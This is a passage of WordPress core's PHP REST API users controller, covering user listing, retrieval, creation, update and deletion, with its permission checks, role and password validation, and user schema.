array( 'status' => rest_authorization_required_code() )
);
}
return true;
}
/**
* Retrieves all users.
*
* @since 4.7.0
* @since 6.8.0 Added support for the search_columns query param.
*
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
*/
public function get_items( $request ) {
// Retrieve the list of registered collection query parameters.
$registered = $this->get_collection_params();
/*
* This array defines mappings between public API query parameters whose
* values are accepted as-passed, and their internal WP_Query parameter
* name equivalents (some are the same). Only values which are also
* present in $registered will be set.
*/
$parameter_mappings = array(
'exclude' => 'exclude',
'include' => 'include',
'order' => 'order',
'per_page' => 'number',
'search' => 'search',
'roles' => 'role__in',
'capabilities' => 'capability__in',
'slug' => 'nicename__in',
);
$prepared_args = array();
/*
* For each known parameter which is both registered and present in the request,
* set the parameter's value on the query $prepared_args.
*/
foreach ( $parameter_mappings as $api_param => $wp_param ) {
if ( isset( $registered[ $api_param ], $request[ $api_param ] ) ) {
$prepared_args[ $wp_param ] = $request[ $api_param ];
}
}
if ( isset( $registered['offset'] ) && ! empty( $request['offset'] ) ) {
$prepared_args['offset'] = $request['offset'];
} else {
$prepared_args['offset'] = ( $request['page'] - 1 ) * $prepared_args['number'];
}
if ( isset( $registered['orderby'] ) ) {
$orderby_possibles = array(
'id' => 'ID',
'include' => 'include',
'name' => 'display_name',
'registered_date' => 'registered',
'slug' => 'user_nicename',
'include_slugs' => 'nicename__in',
'email' => 'user_email',
'url' => 'user_url',
);
$prepared_args['orderby'] = $orderby_possibles[ $request['orderby'] ];
}
if ( isset( $registered['who'] ) && ! empty( $request['who'] ) && 'authors' === $request['who'] ) {
$prepared_args['who'] = 'authors';
} elseif ( ! current_user_can( 'list_users' ) ) {
$prepared_args['has_published_posts'] = get_post_types( array( 'show_in_rest' => true ), 'names' );
}
if ( ! empty( $request['has_published_posts'] ) ) {
$prepared_args['has_published_posts'] = ( true === $request['has_published_posts'] )
? get_post_types( array( 'show_in_rest' => true ), 'names' )
: (array) $request['has_published_posts'];
}
if ( ! empty( $prepared_args['search'] ) ) {
if ( ! current_user_can( 'list_users' ) ) {
$prepared_args['search_columns'] = array( 'ID', 'user_login', 'user_nicename', 'display_name' );
}
$search_columns = $request->get_param( 'search_columns' );
$valid_columns = $prepared_args['search_columns'] ?? array( 'ID', 'user_login', 'user_nicename', 'user_email', 'display_name' );
$search_columns_mapping = array(
'id' => 'ID',
'username' => 'user_login',
'slug' => 'user_nicename',
'email' => 'user_email',
'name' => 'display_name',
);
$search_columns = array_map(
static function ( $column ) use ( $search_columns_mapping ) {
return $search_columns_mapping[ $column ];
},
$search_columns
);
$search_columns = array_intersect( $search_columns, $valid_columns );
if ( ! empty( $search_columns ) ) {
$prepared_args['search_columns'] = $search_columns;
}
$prepared_args['search'] = '*' . $prepared_args['search'] . '*';
}
$is_head_request = $request->is_method( 'HEAD' );
if ( $is_head_request ) {
// Force the 'fields' argument. For HEAD requests, only user IDs are required.
$prepared_args['fields'] = 'id';
}
/**
* Filters WP_User_Query arguments when querying users via the REST API.
*
* @link https://developer.wordpress.org/reference/classes/wp_user_query/
*
* @since 4.7.0
*
* @param array $prepared_args Array of arguments for WP_User_Query.
* @param WP_REST_Request $request The REST API request.
*/
$prepared_args = apply_filters( 'rest_user_query', $prepared_args, $request );
$query = new WP_User_Query( $prepared_args );
if ( ! $is_head_request ) {
$users = array();
foreach ( $query->get_results() as $user ) {
if ( 'edit' === $request['context'] && ! current_user_can( 'edit_user', $user->ID ) ) {
continue;
}
$data = $this->prepare_item_for_response( $user, $request );
$users[] = $this->prepare_response_for_collection( $data );
}
}
$response = $is_head_request ? new WP_REST_Response( array() ) : rest_ensure_response( $users );
// Store pagination values for headers then unset for count query.
$per_page = (int) $prepared_args['number'];
$page = (int) ceil( ( ( (int) $prepared_args['offset'] ) / $per_page ) + 1 );
$prepared_args['fields'] = 'ID';
$total_users = $query->get_total();
if ( $total_users < 1 ) {
// Out-of-bounds, run the query without pagination/offset to get the total count.
unset( $prepared_args['number'], $prepared_args['offset'] );
$prepared_args['number'] = 1;
$prepared_args['fields'] = 'ID';
$count_query = new WP_User_Query( $prepared_args );
$total_users = $count_query->get_total();
}
$response->header( 'X-WP-Total', (int) $total_users );
$max_pages = (int) ceil( $total_users / $per_page );
$response->header( 'X-WP-TotalPages', $max_pages );
$base = add_query_arg( urlencode_deep( $request->get_query_params() ), rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ) );
if ( $page > 1 ) {
$prev_page = $page - 1;
if ( $prev_page > $max_pages ) {
$prev_page = $max_pages;
}
$prev_link = add_query_arg( 'page', $prev_page, $base );
$response->link_header( 'prev', $prev_link );
}
if ( $max_pages > $page ) {
$next_page = $page + 1;
$next_link = add_query_arg( 'page', $next_page, $base );
$response->link_header( 'next', $next_link );
}
return $response;
}
/**
* Get the user, if the ID is valid.
*
* @since 4.7.2
*
* @param int $id Supplied ID.
* @return WP_User|WP_Error True if ID is valid, WP_Error otherwise.
*/
protected function get_user( $id ) {
$error = new WP_Error(
'rest_user_invalid_id',
__( 'Invalid user ID.' ),
array( 'status' => 404 )
);
if ( (int) $id <= 0 ) {
return $error;
}
$user = get_userdata( (int) $id );
if ( empty( $user ) || ! $user->exists() ) {
return $error;
}
if ( is_multisite() && ! is_user_member_of_blog( $user->ID ) ) {
return $error;
}
return $user;
}
/**
* Checks if a given request has access to read a user.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return true|WP_Error True if the request has read access for the item, otherwise WP_Error object.
*/
public function get_item_permissions_check( $request ) {
$user = $this->get_user( $request['id'] );
if ( is_wp_error( $user ) ) {
return $user;
}
$types = get_post_types( array( 'show_in_rest' => true ), 'names' );
if ( get_current_user_id() === $user->ID ) {
return true;
}
if ( 'edit' === $request['context'] && ! current_user_can( 'edit_user', $user->ID ) ) {
return new WP_Error(
'rest_forbidden_context',
__( 'Sorry, you are not allowed to edit this user.' ),
array( 'status' => rest_authorization_required_code() )
);
}
if ( ! current_user_can( 'edit_user', $user->ID ) && ! current_user_can( 'list_users' ) && ! count_user_posts( $user->ID, $types ) ) {
return new WP_Error(
'rest_user_cannot_view',
__( 'Sorry, you are not allowed to list users.' ),
array( 'status' => rest_authorization_required_code() )
);
}
return true;
}
/**
* Retrieves a single user.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
*/
public function get_item( $request ) {
$user = $this->get_user( $request['id'] );
if ( is_wp_error( $user ) ) {
return $user;
}
$user = $this->prepare_item_for_response( $user, $request );
$response = rest_ensure_response( $user );
return $response;
}
/**
* Retrieves the current user.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
*/
public function get_current_item( $request ) {
$current_user_id = get_current_user_id();
if ( empty( $current_user_id ) ) {
return new WP_Error(
'rest_not_logged_in',
__( 'You are not currently logged in.' ),
array( 'status' => 401 )
);
}
$user = wp_get_current_user();
$response = $this->prepare_item_for_response( $user, $request );
$response = rest_ensure_response( $response );
return $response;
}
/**
* Checks if a given request has access create users.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return true|WP_Error True if the request has access to create items, WP_Error object otherwise.
*/
public function create_item_permissions_check( $request ) {
if ( ! current_user_can( 'create_users' ) ) {
return new WP_Error(
'rest_cannot_create_user',
__( 'Sorry, you are not allowed to create new users.' ),
array( 'status' => rest_authorization_required_code() )
);
}
return true;
}
/**
* Creates a single user.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
*/
public function create_item( $request ) {
if ( ! empty( $request['id'] ) ) {
return new WP_Error(
'rest_user_exists',
__( 'Cannot create existing user.' ),
array( 'status' => 400 )
);
}
$schema = $this->get_item_schema();
if ( ! empty( $request['roles'] ) && ! empty( $schema['properties']['roles'] ) ) {
$check_permission = $this->check_role_update( $request['id'], $request['roles'] );
if ( is_wp_error( $check_permission ) ) {
return $check_permission;
}
}
$user = $this->prepare_item_for_database( $request );
if ( is_multisite() ) {
$ret = wpmu_validate_user_signup( $user->user_login, $user->user_email );
if ( is_wp_error( $ret['errors'] ) && $ret['errors']->has_errors() ) {
$error = new WP_Error(
'rest_invalid_param',
__( 'Invalid user parameter(s).' ),
array( 'status' => 400 )
);
foreach ( $ret['errors']->errors as $code => $messages ) {
foreach ( $messages as $message ) {
$error->add( $code, $message );
}
$error_data = $error->get_error_data( $code );
if ( $error_data ) {
$error->add_data( $error_data, $code );
}
}
return $error;
}
}
if ( is_multisite() ) {
$user_id = wpmu_create_user( $user->user_login, $user->user_pass, $user->user_email );
if ( ! $user_id ) {
return new WP_Error(
'rest_user_create',
__( 'Error creating new user.' ),
array( 'status' => 500 )
);
}
$user->ID = $user_id;
$user_id = wp_update_user( wp_slash( (array) $user ) );
if ( is_wp_error( $user_id ) ) {
return $user_id;
}
$result = add_user_to_blog( get_site()->id, $user_id, '' );
if ( is_wp_error( $result ) ) {
return $result;
}
} else {
$user_id = wp_insert_user( wp_slash( (array) $user ) );
if ( is_wp_error( $user_id ) ) {
return $user_id;
}
}
$user = get_user_by( 'id', $user_id );
/**
* Fires immediately after a user is created or updated via the REST API.
*
* @since 4.7.0
*
* @param WP_User $user Inserted or updated user object.
* @param WP_REST_Request $request Request object.
* @param bool $creating True when creating a user, false when updating.
*/
do_action( 'rest_insert_user', $user, $request, true );
if ( ! empty( $request['roles'] ) && ! empty( $schema['properties']['roles'] ) ) {
array_map( array( $user, 'add_role' ), $request['roles'] );
}
if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
$meta_update = $this->meta->update_value( $request['meta'], $user_id );
if ( is_wp_error( $meta_update ) ) {
return $meta_update;
}
}
$user = get_user_by( 'id', $user_id );
$fields_update = $this->update_additional_fields_for_object( $user, $request );
if ( is_wp_error( $fields_update ) ) {
return $fields_update;
}
$request->set_param( 'context', 'edit' );
/**
* Fires after a user is completely created or updated via the REST API.
*
* @since 5.0.0
*
* @param WP_User $user Inserted or updated user object.
* @param WP_REST_Request $request Request object.
* @param bool $creating True when creating a user, false when updating.
*/
do_action( 'rest_after_insert_user', $user, $request, true );
$response = $this->prepare_item_for_response( $user, $request );
$response = rest_ensure_response( $response );
$response->set_status( 201 );
$response->header( 'Location', rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $user_id ) ) );
return $response;
}
/**
* Checks if a given request has access to update a user.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return true|WP_Error True if the request has access to update the item, WP_Error object otherwise.
*/
public function update_item_permissions_check( $request ) {
$user = $this->get_user( $request['id'] );
if ( is_wp_error( $user ) ) {
return $user;
}
if ( ! empty( $request['roles'] ) ) {
if ( ! current_user_can( 'promote_user', $user->ID ) ) {
return new WP_Error(
'rest_cannot_edit_roles',
__( 'Sorry, you are not allowed to edit roles of this user.' ),
array( 'status' => rest_authorization_required_code() )
);
}
$request_params = array_keys( $request->get_params() );
sort( $request_params );
/*
* If only 'id' and 'roles' are specified (we are only trying to
* edit roles), then only the 'promote_user' cap is required.
*/
if ( array( 'id', 'roles' ) === $request_params ) {
return true;
}
}
if ( ! current_user_can( 'edit_user', $user->ID ) ) {
return new WP_Error(
'rest_cannot_edit',
__( 'Sorry, you are not allowed to edit this user.' ),
array( 'status' => rest_authorization_required_code() )
);
}
return true;
}
/**
* Updates a single user.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
*/
public function update_item( $request ) {
$user = $this->get_user( $request['id'] );
if ( is_wp_error( $user ) ) {
return $user;
}
$id = $user->ID;
$owner_id = false;
if ( is_string( $request['email'] ) ) {
$owner_id = email_exists( $request['email'] );
}
if ( $owner_id && $owner_id !== $id ) {
return new WP_Error(
'rest_user_invalid_email',
__( 'Invalid email address.' ),
array( 'status' => 400 )
);
}
if ( ! empty( $request['username'] ) && $request['username'] !== $user->user_login ) {
return new WP_Error(
'rest_user_invalid_argument',
__( 'Username is not editable.' ),
array( 'status' => 400 )
);
}
if ( ! empty( $request['slug'] ) && $request['slug'] !== $user->user_nicename && get_user_by( 'slug', $request['slug'] ) ) {
return new WP_Error(
'rest_user_invalid_slug',
__( 'Invalid slug.' ),
array( 'status' => 400 )
);
}
if ( ! empty( $request['roles'] ) ) {
$check_permission = $this->check_role_update( $id, $request['roles'] );
if ( is_wp_error( $check_permission ) ) {
return $check_permission;
}
}
$user = $this->prepare_item_for_database( $request );
// Ensure we're operating on the same user we already checked.
$user->ID = $id;
$user_id = wp_update_user( wp_slash( (array) $user ) );
if ( is_wp_error( $user_id ) ) {
return $user_id;
}
$user = get_user_by( 'id', $user_id );
/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php */
do_action( 'rest_insert_user', $user, $request, false );
if ( ! empty( $request['roles'] ) ) {
array_map( array( $user, 'add_role' ), $request['roles'] );
}
$schema = $this->get_item_schema();
if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
$meta_update = $this->meta->update_value( $request['meta'], $id );
if ( is_wp_error( $meta_update ) ) {
return $meta_update;
}
}
$user = get_user_by( 'id', $user_id );
$fields_update = $this->update_additional_fields_for_object( $user, $request );
if ( is_wp_error( $fields_update ) ) {
return $fields_update;
}
$request->set_param( 'context', 'edit' );
/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php */
do_action( 'rest_after_insert_user', $user, $request, false );
$response = $this->prepare_item_for_response( $user, $request );
$response = rest_ensure_response( $response );
return $response;
}
/**
* Checks if a given request has access to update the current user.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return true|WP_Error True if the request has access to update the item, WP_Error object otherwise.
*/
public function update_current_item_permissions_check( $request ) {
$request['id'] = get_current_user_id();
return $this->update_item_permissions_check( $request );
}
/**
* Updates the current user.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
*/
public function update_current_item( $request ) {
$request['id'] = get_current_user_id();
return $this->update_item( $request );
}
/**
* Checks if a given request has access delete a user.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise.
*/
public function delete_item_permissions_check( $request ) {
$user = $this->get_user( $request['id'] );
if ( is_wp_error( $user ) ) {
return $user;
}
if ( ! current_user_can( 'delete_user', $user->ID ) ) {
return new WP_Error(
'rest_user_cannot_delete',
__( 'Sorry, you are not allowed to delete this user.' ),
array( 'status' => rest_authorization_required_code() )
);
}
return true;
}
/**
* Deletes a single user.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
*/
public function delete_item( $request ) {
// We don't support delete requests in multisite.
if ( is_multisite() ) {
return new WP_Error(
'rest_cannot_delete',
__( 'The user cannot be deleted.' ),
array( 'status' => 501 )
);
}
$user = $this->get_user( $request['id'] );
if ( is_wp_error( $user ) ) {
return $user;
}
$id = $user->ID;
$reassign = false === $request['reassign'] ? null : absint( $request['reassign'] );
$force = isset( $request['force'] ) ? (bool) $request['force'] : false;
// We don't support trashing for users.
if ( ! $force ) {
return new WP_Error(
'rest_trash_not_supported',
/* translators: %s: force=true */
sprintf( __( "Users do not support trashing. Set '%s' to delete." ), 'force=true' ),
array( 'status' => 501 )
);
}
if ( ! empty( $reassign ) ) {
if ( $reassign === $id || ! get_userdata( $reassign ) ) {
return new WP_Error(
'rest_user_invalid_reassign',
__( 'Invalid user ID for reassignment.' ),
array( 'status' => 400 )
);
}
}
$request->set_param( 'context', 'edit' );
$previous = $this->prepare_item_for_response( $user, $request );
// Include user admin functions to get access to wp_delete_user().
require_once ABSPATH . 'wp-admin/includes/user.php';
$result = wp_delete_user( $id, $reassign );
if ( ! $result ) {
return new WP_Error(
'rest_cannot_delete',
__( 'The user cannot be deleted.' ),
array( 'status' => 500 )
);
}
$response = new WP_REST_Response();
$response->set_data(
array(
'deleted' => true,
'previous' => $previous->get_data(),
)
);
/**
* Fires immediately after a user is deleted via the REST API.
*
* @since 4.7.0
*
* @param WP_User $user The user data.
* @param WP_REST_Response $response The response returned from the API.
* @param WP_REST_Request $request The request sent to the API.
*/
do_action( 'rest_delete_user', $user, $response, $request );
return $response;
}
/**
* Checks if a given request has access to delete the current user.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise.
*/
public function delete_current_item_permissions_check( $request ) {
$request['id'] = get_current_user_id();
return $this->delete_item_permissions_check( $request );
}
/**
* Deletes the current user.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
*/
public function delete_current_item( $request ) {
$request['id'] = get_current_user_id();
return $this->delete_item( $request );
}
/**
* Prepares a single user output for response.
*
* @since 4.7.0
* @since 5.9.0 Renamed `$user` to `$item` to match parent class for PHP 8 named parameter support.
*
* @param WP_User $item User object.
* @param WP_REST_Request $request Request object.
* @return WP_REST_Response Response object.
*/
public function prepare_item_for_response( $item, $request ) {
// Restores the more descriptive, specific name for use within this method.
$user = $item;
// Don't prepare the response body for HEAD requests.
if ( $request->is_method( 'HEAD' ) ) {
/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php */
return apply_filters( 'rest_prepare_user', new WP_REST_Response( array() ), $user, $request );
}
$fields = $this->get_fields_for_response( $request );
$data = array();
if ( in_array( 'id', $fields, true ) ) {
$data['id'] = $user->ID;
}
if ( in_array( 'username', $fields, true ) ) {
$data['username'] = $user->user_login;
}
if ( in_array( 'name', $fields, true ) ) {
$data['name'] = $user->display_name;
}
if ( in_array( 'first_name', $fields, true ) ) {
$data['first_name'] = $user->first_name;
}
if ( in_array( 'last_name', $fields, true ) ) {
$data['last_name'] = $user->last_name;
}
if ( in_array( 'email', $fields, true ) ) {
$data['email'] = $user->user_email;
}
if ( in_array( 'url', $fields, true ) ) {
$data['url'] = $user->user_url;
}
if ( in_array( 'description', $fields, true ) ) {
$data['description'] = $user->description;
}
if ( in_array( 'link', $fields, true ) ) {
$data['link'] = get_author_posts_url( $user->ID, $user->user_nicename );
}
if ( in_array( 'locale', $fields, true ) ) {
$data['locale'] = get_user_locale( $user );
}
if ( in_array( 'nickname', $fields, true ) ) {
$data['nickname'] = $user->nickname;
}
if ( in_array( 'slug', $fields, true ) ) {
$data['slug'] = $user->user_nicename;
}
if ( in_array( 'roles', $fields, true ) && ( current_user_can( 'list_users' ) || current_user_can( 'edit_user', $user->ID ) ) ) {
// Defensively call array_values() to ensure an array is returned.
$data['roles'] = array_values( $user->roles );
}
if ( in_array( 'registered_date', $fields, true ) ) {
$data['registered_date'] = gmdate( 'c', strtotime( $user->user_registered ) );
}
if ( in_array( 'capabilities', $fields, true ) ) {
$data['capabilities'] = (object) $user->allcaps;
}
if ( in_array( 'extra_capabilities', $fields, true ) ) {
$data['extra_capabilities'] = (object) $user->caps;
}
if ( in_array( 'avatar_urls', $fields, true ) ) {
$data['avatar_urls'] = rest_get_avatar_urls( $user );
}
if ( in_array( 'meta', $fields, true ) ) {
$data['meta'] = $this->meta->get_value( $user->ID, $request );
}
$context = ! empty( $request['context'] ) ? $request['context'] : 'embed';
$data = $this->add_additional_fields_to_object( $data, $request );
$data = $this->filter_response_by_context( $data, $context );
// Wrap the data in a response object.
$response = rest_ensure_response( $data );
if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
$response->add_links( $this->prepare_links( $user ) );
}
/**
* Filters user data returned from the REST API.
*
* @since 4.7.0
*
* @param WP_REST_Response $response The response object.
* @param WP_User $user User object used to create response.
* @param WP_REST_Request $request Request object.
*/
return apply_filters( 'rest_prepare_user', $response, $user, $request );
}
/**
* Prepares links for the user request.
*
* @since 4.7.0
*
* @param WP_User $user User object.
* @return array Links for the given user.
*/
protected function prepare_links( $user ) {
$links = array(
'self' => array(
'href' => rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $user->ID ) ),
),
'collection' => array(
'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ),
),
);
return $links;
}
/**
* Prepares a single user for creation or update.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Request object.
* @return object User object.
*/
protected function prepare_item_for_database( $request ) {
$prepared_user = new stdClass();
$schema = $this->get_item_schema();
// Required arguments.
if ( isset( $request['email'] ) && ! empty( $schema['properties']['email'] ) ) {
$prepared_user->user_email = $request['email'];
}
if ( isset( $request['username'] ) && ! empty( $schema['properties']['username'] ) ) {
$prepared_user->user_login = $request['username'];
}
if ( isset( $request['password'] ) && ! empty( $schema['properties']['password'] ) ) {
$prepared_user->user_pass = $request['password'];
}
// Optional arguments.
if ( isset( $request['id'] ) ) {
$prepared_user->ID = absint( $request['id'] );
}
if ( isset( $request['name'] ) && ! empty( $schema['properties']['name'] ) ) {
$prepared_user->display_name = $request['name'];
}
if ( isset( $request['first_name'] ) && ! empty( $schema['properties']['first_name'] ) ) {
$prepared_user->first_name = $request['first_name'];
}
if ( isset( $request['last_name'] ) && ! empty( $schema['properties']['last_name'] ) ) {
$prepared_user->last_name = $request['last_name'];
}
if ( isset( $request['nickname'] ) && ! empty( $schema['properties']['nickname'] ) ) {
$prepared_user->nickname = $request['nickname'];
}
if ( isset( $request['slug'] ) && ! empty( $schema['properties']['slug'] ) ) {
$prepared_user->user_nicename = $request['slug'];
}
if ( isset( $request['description'] ) && ! empty( $schema['properties']['description'] ) ) {
$prepared_user->description = $request['description'];
}
if ( isset( $request['url'] ) && ! empty( $schema['properties']['url'] ) ) {
$prepared_user->user_url = $request['url'];
}
if ( isset( $request['locale'] ) && ! empty( $schema['properties']['locale'] ) ) {
$prepared_user->locale = $request['locale'];
}
// Setting roles will be handled outside of this function.
if ( isset( $request['roles'] ) ) {
$prepared_user->role = false;
}
/**
* Filters user data before insertion via the REST API.
*
* @since 4.7.0
*
* @param object $prepared_user User object.
* @param WP_REST_Request $request Request object.
*/
return apply_filters( 'rest_pre_insert_user', $prepared_user, $request );
}
/**
* Determines if the current user is allowed to make the desired roles change.
*
* @since 4.7.0
*
* @global WP_Roles $wp_roles WordPress role management object.
*
* @param int $user_id User ID.
* @param array $roles New user roles.
* @return true|WP_Error True if the current user is allowed to make the role change,
* otherwise a WP_Error object.
*/
protected function check_role_update( $user_id, $roles ) {
global $wp_roles;
foreach ( $roles as $role ) {
if ( ! isset( $wp_roles->role_objects[ $role ] ) ) {
return new WP_Error(
'rest_user_invalid_role',
/* translators: %s: Role key. */
sprintf( __( 'The role %s does not exist.' ), $role ),
array( 'status' => 400 )
);
}
$potential_role = $wp_roles->role_objects[ $role ];
/*
* Don't let anyone with 'edit_users' (admins) edit their own role to something without it.
* Multisite super admins can freely edit their blog roles -- they possess all caps.
*/
if ( ! ( is_multisite()
&& current_user_can( 'manage_sites' ) )
&& get_current_user_id() === $user_id
&& ! $potential_role->has_cap( 'edit_users' )
) {
return new WP_Error(
'rest_user_invalid_role',
__( 'Sorry, you are not allowed to give users that role.' ),
array( 'status' => rest_authorization_required_code() )
);
}
// Include user admin functions to get access to get_editable_roles().
require_once ABSPATH . 'wp-admin/includes/user.php';
// The new role must be editable by the logged-in user.
$editable_roles = get_editable_roles();
if ( empty( $editable_roles[ $role ] ) ) {
return new WP_Error(
'rest_user_invalid_role',
__( 'Sorry, you are not allowed to give users that role.' ),
array( 'status' => 403 )
);
}
}
return true;
}
/**
* Check a username for the REST API.
*
* Performs a couple of checks like edit_user() in wp-admin/includes/user.php.
*
* @since 4.7.0
*
* @param string $value The username submitted in the request.
* @param WP_REST_Request $request Full details about the request.
* @param string $param The parameter name.
* @return string|WP_Error The sanitized username, if valid, otherwise an error.
*/
public function check_username( $value, $request, $param ) {
$username = (string) $value;
if ( ! validate_username( $username ) ) {
return new WP_Error(
'rest_user_invalid_username',
__( 'This username is invalid because it uses illegal characters. Please enter a valid username.' ),
array( 'status' => 400 )
);
}
/** This filter is documented in wp-includes/user.php */
$illegal_logins = (array) apply_filters( 'illegal_user_logins', array() );
if ( in_array( strtolower( $username ), array_map( 'strtolower', $illegal_logins ), true ) ) {
return new WP_Error(
'rest_user_invalid_username',
__( 'Sorry, that username is not allowed.' ),
array( 'status' => 400 )
);
}
return $username;
}
/**
* Check a user password for the REST API.
*
* Performs a couple of checks like edit_user() in wp-admin/includes/user.php.
*
* @since 4.7.0
*
* @param string $value The password submitted in the request.
* @param WP_REST_Request $request Full details about the request.
* @param string $param The parameter name.
* @return string|WP_Error The sanitized password, if valid, otherwise an error.
*/
public function check_user_password(
#[\SensitiveParameter]
$value,
$request,
$param
) {
$password = (string) $value;
if ( empty( $password ) ) {
return new WP_Error(
'rest_user_invalid_password',
__( 'Passwords cannot be empty.' ),
array( 'status' => 400 )
);
}
if ( str_contains( $password, '\\' ) ) {
return new WP_Error(
'rest_user_invalid_password',
sprintf(
/* translators: %s: The '\' character. */
__( 'Passwords cannot contain the "%s" character.' ),
'\\'
),
array( 'status' => 400 )
);
}
return $password;
}
/**
* Retrieves the user's schema, conforming to JSON Schema.
*
* @since 4.7.0
*
* @return array Item schema data.
*/
public function get_item_schema() {
if ( $this->schema ) {
return $this->add_additional_fields_schema( $this->schema );
}
$schema = array(
'$schema' => 'http://json-schema.org/draft-04/schema#',
'title' => 'user',
'type' => 'object',
'properties' => array(
'id' => array(
'description' => __( 'Unique identifier for the user.' ),
'type' => 'integer',
'context' => array( 'embed', 'view', 'edit' ),
'readonly' => true,
),
'username' => array(
'description' => __( 'Login name for the user.' ),
'type' => 'string',
'context' => array( 'edit' ),
'required' => true,
'arg_options' => array(
'sanitize_callback' => array( $this, 'check_username' ),
),
),
'name' => array(
'description' => __( 'Display name for the user.' ),
'type' => 'string',
'context' => array( 'embed', 'view', 'edit' ),
'arg_options' => array(
'sanitize_callback' => 'sanitize_text_field',
),
),
'first_name' => array(
'description' => __( 'First name for the user.' ),
'type' => 'string',
'context' => array( 'edit' ),
'arg_options' => array(
'sanitize_callback' => 'sanitize_text_field',
),
),
'last_name' => array(
'description' => __( 'Last name for the user.' ),
'type' => 'string',
'context' => array( 'edit' ),
'arg_options' => array(
'sanitize_callback' => 'sanitize_text_field',
),
),
'email' => array(
'description' => __( 'The email address for the user.' ),
'type' => 'string',
'format' => 'email',
'context' => array( 'edit' ),
'required' => true,
),
'url' => array(
'description' => __( 'URL of the user.' ),
'type' => 'string',
'format' => 'uri',
'context' => array( 'embed', 'view', 'edit' ),
),
'description' => array(
'description' => __( 'Description of the user.' ),
'type' => 'string',
'context' => array( 'embed', 'view', 'edit' ),
),
'link' => array(
'description' => __( 'Author URL of the user.' ),
'type' => 'string',
'format' => 'uri',
'context' => array( 'embed', 'view', 'edit' ),
'readonly' => true,
),
'locale' => array(
'description' => __( 'Locale for the user.' ),
'type' => 'string',
'enum' => array_merge( array( '', 'en_US' ), get_available_languages() ),
'context' => array( 'edit' ),
),
'nickname' => array(
'description' => __( 'The nickname for the user.' ),
'type' => 'string',
'context' => array( 'edit' ),
'arg_options' => array(
'sanitize_callback' => 'sanitize_text_field',
),
),
'slug' => array(
'description' => __( 'An alphanumeric identifier for the user.' ),
'type' => 'string',
'context' => array( 'embed', 'view', 'edit' ),
'arg_options' => array(
'sanitize_callback' => array( $this, 'sanitize_slug' ),
),
),
'registered_date' => array(
'description' => __( 'Registration date for the user.' ),
'type' => 'string',
'format' => 'date-time',
'context' => array( 'edit' ),
'readonly' => true,
),
'roles' => array(
'description' => __( 'Roles assigned to the user.' ),
'type' => 'array',
'items' => array(
'type' => 'string',
),
'context' => array( 'edit' ),
),
'password' => array(
'description' => __( 'Password for the user (never included).' ),
'type' => 'string',
'context' => array(), // Password is never displayed.
'required' => true,
'arg_options' => array(
'sanitize_callback' => array( $this, 'check_user_password' ),
),
),
'capabilities' => array(
'description' => __( 'All capabilities assigned to the user.' ),
'type' => 'object',
'context' => array( 'edit' ),
'readonly' => true,
),
'extra_capabilities' => array(
'description' => __( 'Any extra capabilities assigned to the user.' ),
'type' => 'object',
'context' => array( 'edit' ),
'readonly' => true,
),
),
);
if ( get_option( 'show_avatars' ) ) {
$avatar_properties = array();
$avatar_sizes = rest_get_avatar_sizes();
foreach ( $avatar_sizes as $size ) {
$avatar_properties[ $size ] = array(
/* translators: %d: Avatar image size in pixels. */
'description' => sprintf( __( 'Avatar URL with image size of %d pixels.' ), $size ),
'type' => 'string',
'format' => 'uri',
'context' => array( 'embed', 'view', 'edit' ),
);
}
$schema['properties']['avatar_urls'] = array(
'description' => __( 'Avatar URLs for the user.' ),
'type' => 'object',
'context' => array( 'embed', 'view', 'edit' ),
'readonly' => true,
'properties' => $avatar_properties,
);
}
$schema['properties']['meta'] = $this->meta->get_field_schema();
$this->schema = $schema;
return $this->add_additional_fields_schema( $this->schema );
}
/**
* Retrieves the query params for collections.
*
* @since 4.7.0
*
* @return array Collection parameters.
*/
public function get_collection_params() {
$query_params = parent::get_collection_params();
$query_params['context']['default'] = 'view';
$query_params['exclude'] = array(
'description' => __( 'Ensure result set excludes specific IDs.' ),
'type' => 'array',
'items' => array(
'type' => 'integer',
),
'default' => array(),
);
$query_params['include'] = array(
'description' => __( 'Limit result set to specific IDs.' ),
'type' => 'array',
'items' => array(
'type' => 'integer',
),
'default' => array(),
);
$query_params['offset'] = array(
'description' => __( 'Offset the result set by a specific number of items.' ),
'type' => 'integer',
);
$query_params['order'] = array(
'default' => 'asc',
